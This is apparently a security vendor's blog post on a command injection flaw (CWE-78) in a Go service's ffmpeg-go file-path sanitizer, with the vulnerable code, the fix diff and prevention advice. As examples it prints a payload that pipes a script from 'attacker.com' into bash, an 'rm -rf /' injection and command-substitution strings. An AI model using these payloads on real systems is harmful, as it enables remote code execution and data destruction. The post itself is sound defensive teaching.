Back to Blog
critical SEVERITY9 min read

How command injection happens in Go ffmpeg-go and how to fix it

A critical command injection vulnerability (CVE-2026-41179, CWE-78) was discovered in `drivers/local/util.go` of a Go media processing service, where user-controlled file paths were passed to `ffmpeg.Input()` without filtering shell metacharacters. Although a `sanitizeFilePath()` function existed to validate paths, it failed to reject characters like `;`, `|`, and backticks that could be weaponized if the underlying ffmpeg-go library constructs shell commands internally. The fix adds a targeted

O
By Orbis AppSec
Published July 7, 2026Reviewed July 7, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in a Go application's `drivers/local/util.go` file, where user-controlled file paths were passed to the `ffmpeg.Input()` function via `ResizeImageToBufferWithFFmpegGo()`. The existing `sanitizeFilePath()` function validated that paths were absolute and pointed to real files, but it did not block shell metacharacters like `;`, `|`, backticks, or `$`, which could be exploited if ffmpeg-go constructs shell commands internally. The fix adds a single `strings.ContainsAny()` check inside `sanitizeFilePath()` that rejects any path containing those dangerous characters before the path reaches the ffmpeg layer.

Vulnerability at a Glance

cweCWE-78
fixAdded `strings.ContainsAny()` check blocking `;`, `&`, `|`, backtick, `$`, `<`, `>`, `!`, newline, carriage return, and null byte
riskRemote code execution on the host system via crafted file path input
languageGo
root cause`sanitizeFilePath()` validated path structure but did not reject shell metacharacters
vulnerabilityOS Command Injection via unsanitized file path in ffmpeg-go

How Command Injection Happens in Go ffmpeg-go and How to Fix It

Summary

A critical command injection vulnerability (CVE-2026-41179, CWE-78) was found in drivers/local/util.go of a Go media processing service. User-controlled file paths were passed to ffmpeg.Input() without filtering shell metacharacters, meaning a crafted filename like /tmp/input.mp4; rm -rf / could slip past existing validation and potentially execute arbitrary OS commands. The fix — a single targeted strings.ContainsAny() check — closes the gap between structural path validation and true shell safety.


Introduction

The drivers/local/util.go file handles media transcoding for a Go service, using the ffmpeg-go library to resize images via the ResizeImageToBufferWithFFmpegGo() function. A sanitizeFilePath() helper was already in place to validate input paths — checking that they were absolute, canonically cleaned, and pointed to real, accessible files on disk.

That sounds thorough. It wasn't.

The missing piece: none of those checks reject shell metacharacters. A path like /tmp/evil.mp4; whoami is absolute. It can be cleaned with filepath.Clean(). It might even resolve to a real file if an attacker pre-creates it. But if the ffmpeg-go library constructs a shell command string internally — which some FFmpeg wrapper libraries do — that semicolon becomes a command separator, and the injected payload executes with the service's privileges.

This is the subtle danger of defense-in-depth gaps: each individual check looks reasonable in isolation, but together they leave a critical blind spot.


The Vulnerability Explained

The Vulnerable Code (Before the Fix)

Here is the relevant portion of sanitizeFilePath() in drivers/local/util.go before the fix, around line 49:

func sanitizeFilePath(path string) (string, error) {
    cleaned := filepath.Clean(path)
    if !filepath.IsAbs(cleaned) {
        return "", fmt.Errorf("file path must be absolute: %s", path)
    }
    // ← NO check for shell metacharacters here
    info, err := os.Stat(cleaned)
    if err != nil {
        return "", fmt.Errorf("file path is not accessible: %w", err)
    }
    // ... continues with regular file check
}

And the calling function that feeds this path into ffmpeg-go:

func ResizeImageToBufferWithFFmpegGo(inputPath string, size int, format string) (*bytes.Buffer, error) {
    sanitized, err := sanitizeFilePath(inputPath)
    if err != nil {
        return nil, err
    }
    // sanitized path goes directly into ffmpeg.Input()
    stream := ffmpeg.Input(sanitized)
    // ...
}

Why This Is Dangerous

The sanitizeFilePath() function performs three checks:

  1. filepath.Clean() — normalizes .. traversals and redundant slashes
  2. filepath.IsAbs() — ensures the path starts from root
  3. os.Stat() — confirms the file exists and is accessible

None of these checks care about characters like ;, |, &, or backticks. Those characters have no meaning to the filesystem — but they are highly meaningful to a shell.

The risk depends on how ffmpeg-go internally invokes FFmpeg. Some Go FFmpeg wrappers ultimately construct a command string and pass it through a shell (e.g., sh -c "ffmpeg -i <path> ..."). If that's the case here, a path containing ; becomes a command separator, and everything after it runs as a separate shell command.

A Concrete Attack Scenario

Suppose the service accepts a file path through an HTTP endpoint or a remote control (RC) endpoint (as suggested by the CVE description mentioning an exposed RC endpoint). An attacker submits:

/tmp/input.mp4; curl https://attacker.com/shell.sh | bash

The path /tmp/input.mp4 is absolute ✓, it's clean ✓, and if the attacker has pre-created /tmp/input.mp4, it passes os.Stat() ✓. The path sails through sanitizeFilePath() and lands in ffmpeg.Input().

If ffmpeg-go passes this to a shell, the result is:

ffmpeg -i /tmp/input.mp4; curl https://attacker.com/shell.sh | bash

The FFmpeg command runs (possibly failing on the fake file), and then the attacker's shell script executes. Game over.

Other dangerous payloads include:
- $(whoami) — command substitution via $(...)
- `id` — backtick command substitution
- /tmp/file\x00.mp4 — null byte injection to truncate the path in C-level code


The Fix

What Changed

A single, targeted line was added to sanitizeFilePath() in drivers/local/util.go at line 52 (between the IsAbs check and the os.Stat call):

 func sanitizeFilePath(path string) (string, error) {
     cleaned := filepath.Clean(path)
     if !filepath.IsAbs(cleaned) {
         return "", fmt.Errorf("file path must be absolute: %s", path)
     }
+    if strings.ContainsAny(cleaned, ";&|`$<>!\n\r\x00") {
+        return "", fmt.Errorf("file path contains invalid characters: %s", path)
+    }
     info, err := os.Stat(cleaned)
     if err != nil {
         return "", fmt.Errorf("file path is not accessible: %w", err)
     }

Before vs. After

Before: sanitizeFilePath() validated path structure (absolute, clean, accessible) but allowed any characters through, including shell metacharacters.

After: sanitizeFilePath() additionally rejects any path containing:

Character Shell Meaning
; Command separator
& Background execution / AND operator
\| Pipe — chain commands
` Backtick command substitution
$ Variable expansion / $() substitution
<, > Input/output redirection
! History expansion in some shells
\n, \r Newline injection
\x00 Null byte — truncates C strings

Why This Placement Matters

The check is inserted after filepath.Clean() but before os.Stat(). This ordering is deliberate:

  1. filepath.Clean() runs first, resolving any path traversal attempts. This means a path like /tmp/../etc/passwd becomes /etc/passwd before the character check runs — preventing encoded traversals from sneaking through.
  2. The metacharacter check then runs on the normalized path, ensuring no shell-dangerous characters remain.
  3. Only then does os.Stat() run, avoiding a TOCTOU risk where an attacker might manipulate the filesystem between the stat and the ffmpeg call.

Prevention & Best Practices

1. Prefer Argument Arrays Over Shell Strings

The most robust defense against command injection in Go is to never involve a shell at all. Use exec.Command() with explicit argument arrays:

// UNSAFE: shell interpolation
cmd := exec.Command("sh", "-c", "ffmpeg -i " + userPath)

// SAFE: no shell involved
cmd := exec.Command("ffmpeg", "-i", userPath, outputArgs...)

When arguments are passed as separate strings to exec.Command(), Go's os/exec package uses execve() directly — no shell, no metacharacter interpretation.

2. Validate at the Boundary, Not Just Structurally

Path validation should cover both structural validity (absolute, no traversal) and character safety (no shell metacharacters). The fix demonstrates this layered approach. Consider a helper that encodes both concerns:

var shellMetaChars = ";&|`$<>!\n\r\x00"

func isSafeFilePath(path string) bool {
    cleaned := filepath.Clean(path)
    return filepath.IsAbs(cleaned) && !strings.ContainsAny(cleaned, shellMetaChars)
}

3. Use an Allowlist Where Possible

Rather than blocklisting dangerous characters, consider allowlisting safe ones. Legitimate file paths typically only need alphanumerics, /, -, _, ., and spaces:

var safePathPattern = regexp.MustCompile(`^[a-zA-Z0-9/_\-\. ]+$`)
if !safePathPattern.MatchString(cleaned) {
    return "", fmt.Errorf("file path contains disallowed characters")
}

Allowlists are generally more robust than blocklists because they don't depend on anticipating every possible dangerous character.

4. Audit Third-Party Library Behavior

When using wrapper libraries for tools like FFmpeg, ImageMagick, or similar, always check whether the library invokes the underlying binary via a shell. Review the library's source or documentation. If shell invocation is possible, treat every string passed to the library as a potential injection vector.

5. Write Regression Tests for Security Properties

The PR includes a regression test (TestResizeImageToBufferWithFFmpegGo_ShellInjection) that explicitly tests malicious payloads like ; rm -rf /, $(whoami), and `id`. This kind of security-focused test is invaluable — it documents the expected security behavior and will catch any future regression that weakens the validation.

6. Apply Defense in Depth

No single check is sufficient. The right approach combines:
- Input validation (this fix)
- Least-privilege process execution (run the service as a non-root user)
- Sandboxing (restrict filesystem access with seccomp, AppArmor, or containers)
- Monitoring (alert on unexpected subprocess spawning)

Relevant Standards


Key Takeaways

  • Path validation is not the same as shell safety. The original sanitizeFilePath() in drivers/local/util.go correctly validated filesystem properties but was blind to shell metacharacters — two different threat models that both need addressing.
  • filepath.Clean() does not remove shell metacharacters. It normalizes traversal sequences and redundant slashes, but ;, |, $, and backticks pass through untouched.
  • The order of checks in sanitizeFilePath() matters. Running filepath.Clean() before the metacharacter check ensures that encoded traversals are resolved before the safety check runs.
  • Third-party library internals can reintroduce shell exposure. Even if your code uses a Go API, the underlying library may construct and execute shell strings — making input sanitization at your layer essential.
  • Regression tests should encode security invariants. The test added in this PR (TestResizeImageToBufferWithFFmpegGo_ShellInjection) ensures the property "shell metacharacters are always rejected" is machine-verifiable going forward.

How Orbis AppSec Detected This

  • Source: User-controlled file path parameter passed into ResizeImageToBufferWithFFmpegGo() — potentially via an exposed HTTP or RC (remote control) endpoint
  • Sink: ffmpeg.Input(sanitized) in drivers/local/util.go:96, where the sanitized (but not shell-safe) path is handed to the ffmpeg-go library, which may construct shell command strings internally
  • Missing control: sanitizeFilePath() validated path structure (absolute, clean, accessible) but performed no check for shell metacharacters such as ;, |, &, backticks, or $
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command
  • Fix: Added strings.ContainsAny(cleaned, ";&| + "" +$<>!\n\r\x00")check insanitizeFilePath()` to reject any path containing shell-dangerous characters before it reaches ffmpeg-go

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

This vulnerability is a textbook example of a defense gap: an existing security control (sanitizeFilePath()) that addressed one threat model (path traversal) while inadvertently leaving another (shell injection) wide open. The two threats look similar on the surface — both involve malicious file paths — but they require different mitigations.

The fix is elegantly minimal: three lines that add shell metacharacter rejection to an already-existing validation function. But the lesson is broader. Whenever user input touches an external process — whether through Go's os/exec, a C library via CGo, or a wrapper like ffmpeg-go — developers must think about both the filesystem semantics and the shell semantics of that input. Structural validity is necessary but not sufficient.

For Go developers building media processing pipelines, file conversion services, or any feature that bridges user input and external binaries: audit your sanitization functions not just for what they check, but for what they don't check.


References

Frequently Asked Questions

What is command injection?

Command injection (CWE-78) occurs when user-controlled data is passed to a shell or subprocess call without proper sanitization, allowing an attacker to append or inject additional OS commands that the application then executes with its own privileges.

How do you prevent command injection in Go?

Prefer APIs that accept argument arrays rather than shell strings (e.g., `exec.Command("ffmpeg", args...)` instead of shell interpolation), validate and allowlist input strictly, and explicitly reject shell metacharacters like `;`, `|`, `&`, and backticks before passing any user input to external processes.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Is path validation alone enough to prevent command injection?

No. Checking that a path is absolute, clean, and points to an existing file does not prevent shell metacharacters from being smuggled in. A path like `/tmp/valid.mp4; rm -rf /` can pass basic path checks while still injecting a second shell command.

Can static analysis detect command injection?

Yes. Tools like Semgrep, CodeQL, and AI-assisted scanners (like Orbis AppSec) can trace tainted data from input sources to dangerous sinks such as shell-executing functions, flagging cases where sanitization is incomplete.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #9566

Related Articles

critical

How command injection happens in Python os.popen() and how to fix it

A critical command injection vulnerability in `spk/itools/src/mounting.py` allowed arbitrary shell command execution through unsanitized iOS device names passed to `os.popen()` and `os.system()` calls. The fix replaced these dangerous functions with `subprocess.run()` using proper argument escaping, eliminating the shell injection attack vector.

critical

How command injection happens in Node.js subprocess and how to fix it

A critical command injection vulnerability in `tools/dev/src/index.ts` allowed attackers to execute arbitrary shell commands through unsanitized subprocess arguments. The fix was simple but essential: explicitly setting `shell: false` in the `spawn()` call to prevent shell metacharacter interpretation. This vulnerability demonstrates why subprocess handling requires explicit security controls in Node.js.

critical

How command injection happens in Python os.system() and how to fix it

A critical command injection vulnerability was discovered in `src/O4_Geotag.py` where file paths and coordinate values were concatenated directly into `os.system()` calls invoking `gdal_translate` and `gdalwarp`. Because `os.system()` passes its argument through a shell interpreter, any shell metacharacters in the file path variable `f` — sourced from file enumeration or user-supplied input — could be exploited to execute arbitrary commands. The fix replaces both shell invocations with direct ca

critical

How command injection happens in Python subprocess and how to fix it

A critical command injection vulnerability was discovered in `script/llm_semantic_analyzer.py` at line 394, where user-controlled input (API keys and model parameters) was interpolated directly into shell commands passed to `subprocess.run` with `shell=True`. An attacker who could control these parameters could inject shell metacharacters like `; rm -rf /` or `$(whoami)` to execute arbitrary commands. The fix sanitizes all user input before it reaches shell execution.

critical

How command injection happens in Python subprocess and how to fix it

A command injection vulnerability in `skills/skill-comply/scripts/runner.py` allowed attackers who could influence skill definition files to execute arbitrary binaries on the host system via `subprocess.run()`. The fix introduces an explicit allowlist of permitted executables (`ALLOWED_SETUP_EXECUTABLES`) that gates every command before it reaches the subprocess call at line 110. This closes a significant attack surface in the skill-comply pipeline without breaking legitimate setup workflows.

critical

How command injection happens in Python subprocess and how to fix it

A critical command injection vulnerability was discovered in a CGI script that processed HTTP requests using `subprocess.check_output()` with `shell=True`. Attackers could inject arbitrary shell commands through URL parameters using metacharacters like semicolons, pipes, or backticks. The fix converts the command from a string to a list and sets `shell=False`, preventing shell interpretation of user input.